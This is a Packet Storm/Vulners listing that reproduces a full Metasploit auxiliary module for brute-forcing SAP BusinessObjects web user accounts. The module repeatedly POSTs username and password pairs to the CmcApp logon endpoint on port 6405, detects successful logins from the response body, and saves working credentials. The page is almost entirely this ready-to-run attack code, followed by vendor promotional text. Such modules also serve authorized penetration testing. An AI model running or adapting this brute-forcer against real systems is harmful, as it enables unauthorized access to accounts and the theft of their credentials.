Lucene search
K

SAP BusinessObjects Web User Bruteforcer

🗓️ 01 Sep 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 258 Views

This module attempts to bruteforce SAP BusinessObjects users by using CmcApp

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SAP BusinessObjects Web User Bruteforcer',  
'Description' => 'This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.',  
'References' =>  
[  
# General  
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]  
],  
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(6405),  
])  
register_autofilter_ports([ 6405 ])  
end  
  
def run_host(ip)  
res = send_request_cgi({  
'uri' => "/PlatformServices/service/app/logon.object",  
'method' => 'GET'  
}, 25)  
return if not res  
  
each_user_pass { |user, pass|  
enum_user(user,pass)  
}  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def enum_user(user, pass)  
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'")  
success = false  
data = 'isFromLogonPage=true&cms=127.0.1%3A6400'  
data << "&username=#{Rex::Text.uri_encode(user.to_s)}"  
data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"  
data << '&authType=secEnterprise&backUrl=%2FApp%2Fhome.faces'  
begin  
res = send_request_cgi({  
'uri' => '/PlatformServices/service/app/logon.object',  
'data' => data,  
'method' => 'POST',  
'headers' =>  
{  
'Connection' => "keep-alive",  
'Accept-Encoding' => "gzip,deflate",  
},  
}, 45)  
return :abort if (!res or (res and res.code != 200))  
if(res.body.match(/Account Information/i))  
success = false  
else  
success = true  
success  
end  
  
rescue ::Rex::ConnectionError  
vprint_error("[SAP BusinessObjects] Unable to attempt authentication")  
return :abort  
end  
  
if success  
print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'")  
report_cred(  
ip: rhost,  
port: rport,  
service_name: 'sap-businessobjects',  
user: user,  
password: pass,  
proof: res.body  
)  
return :next_user  
else  
vprint_error("[SAP BusinessObjects] failed to login as '#{user}' password: '#{pass}'")  
return  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
258